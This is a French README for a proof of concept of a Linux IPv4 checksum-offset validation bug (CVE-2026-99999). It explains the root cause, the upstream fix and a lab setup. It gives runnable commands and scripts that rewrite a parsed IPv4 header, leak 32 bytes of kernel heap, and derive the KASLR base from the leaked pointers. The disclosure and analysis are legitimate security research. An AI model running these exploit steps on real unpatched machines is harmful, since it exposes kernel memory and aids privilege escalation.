Reproduction et analyse de la faille de validation csum_start d'IPv4 sous Linux (CVE-2026-99999) : réécriture d'en-tête, divulgation de 32 octets du tas, oracle de fuite et contournement de KASLR.
English · 简体中文
Reproduction du bug de validation csum_start d'IPv4 sous Linux corrigé par
6785011f8b16 (« ipv4: validate checksum_start before completing checksum »).
Disposant d'une exécution de code à l'intérieur d'une VM invitée, un processus
non privilégié sur un TAP préparé réécrit un en-tête que le noyau a déjà analysé,
puis lit 32 octets au-delà des données linéaires du paquet.
| Précondition | exécution de code à l'intérieur de la VM invitée — ni distante, ni pré-authentification |
| Reproduit sur | 6.18.54.1-microsoft-standard-WSL2 |
| Noyaux affectés | toutes les versions antérieures au correctif de leur branche — KERNELS.md |
| Corrigé dans | 6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11 |
| CVSS 3.1 | 9.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Correctif amont | 6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin) |
| Signalé par | Paulos Yibelo (pwn.ai) |
| Précompilé | binaires statiques v1.0.0 |
$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
frag 0: first=0x4f ihl=60B tot_len=196
options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options
Le premier octet est 0x4f au lieu de 0x45 — version 4, longueur d'en-tête de 15 mots au lieu de 5. Les huit octets a5 sont le marqueur que ce reproducteur a écrit dans le fragment ; tout ce qui suit ne fait pas partie du paquet. a9 cb 43 9e 88 ff ff se lit comme 0xffff889e43cba9, une adresse de mappage direct du noyau.
skb_checksum_help() transforme les métadonnées de checksum en écriture :
write address = skb->head + csum_start + csum_offset
Rien avant le correctif ne vérifiait que csum_start se situe après l'en-tête IPv4.
La vérification d'admission compare l'offset de transport à une longueur d'en-tête
minimale mesurée depuis le skb->data actuel — une coordonnée relative à la trame :
/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len) /* 20 bytes */
return -EINVAL;
Pour une trame de [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ], csum_start = 22
donne skb_transport_offset() == 22 >= 20, donc les métadonnées sont acceptées, alors que
la distance réelle depuis l'en-tête réseau est de 0. Les deux tags VLAN sont
retirés dans le chemin de réception, de sorte que la coordonnée relative à la trame survit jusqu'en L3
et l'écriture différée atterrit sur version/ihl.
L'ordonnancement est l'autre moitié du problème. ip_do_fragment() a terminé le checksum en attente
avant de lire iph->ihl :
/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
goto fail;
iph = ip_hdr(skb);
...
hlen = iph->ihl * 4; /* now 60, not 20 */
L'en-tête a été validé comme faisant 20 octets ; le consommateur lit 15 mots depuis la même
mémoire. skb_checksum_help() n'est pas en cause — les métadonnées ont été autorisées à
décrire un paquet différent de celui qui existe.
Le correctif ajoute une borne relative au réseau et l'appelle avant chaque site d'achèvement :
static inline int ip_check_csum_start(const struct sk_buff *skb)
{
if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
return -EINVAL;
return 0;
}
Avec C = csum_start, N = network_header, H = ip_hdrlen et O >= 0,
exiger C >= N + H signifie que l'écriture C + O ne peut plus atteindre l'en-tête.
Conteneur privilégié sur un noyau vulnérable (c'est le noyau qui compte) :
docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh
# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify
# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
Sur un hôte de test bare-metal ou une VM : sudo sh lab/setup.sh, puis exécutez les mêmes commandes en tant que root dans cet espace de noms réseau. Nécessite /dev/net/tun, nf_conntrack, nf_defrag_ipv4, ip et nft.
lab/setup.sh construit un TAP pour l'injection et une paire veth pour l'egress :
inject forward + defrag egress
userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
(virtio_net_hdr, | conntrack defrag MTU 200
csum_start=22) | nft prerouting -450 │
└── two fragments reassembled ────────────────┤
into a 28-byte linear head ▼
pwnv1
(capture)
La règle nft ct enregistre nf_defrag_ipv4, de sorte que les deux fragments sont réassemblés avant que le chemin de forwarding ne les fragmente à nouveau. Tout ce qui revient en boucle sur pwnv1 est supprimé. lab/teardown.sh supprime tout cela.
Le fragment à l'offset 0 transporte 8 octets, donc après réassemblage la tête linéaire logique est de 20 + 8 = 28 octets tandis que le fragmenteur copie ihl * 4 = 60 :
[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
└─ copied into the fragments' IPv4 options
overrun = 60 - (20 + head), donc --head 40 est le cas de contrôle (aucun octet ne franchit la frontière) et --head 8 produit la divulgation de 32 octets.
Sur le chemin slab, la queue est mise à zéro par CONFIG_INIT_ON_ALLOC_DEFAULT_ON et la fuite se lit comme 00. --page déplace la tête du skb sur un page_frag recyclé, où la queue contient encore ce que la page contenait auparavant.
python3 exp/probe.py --passive # version verdict, no packets
python3 exp/probe.py --active # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24 # repeatable 32-byte disclosure + physmap KASLR base
probe.py compare un datagramme de contrôle avec des métadonnées de checksum bien formées à un datagramme dont le csum_start se situe sur l'en-tête IPv4 : en-tête réécrit → vulnérable, test rejeté par la garde → corrigé, rien capturé → problème de laboratoire. leak.py répète la lecture excessive, extrait les pointeurs canoniques du noyau et dérive la base KASLR du physmap.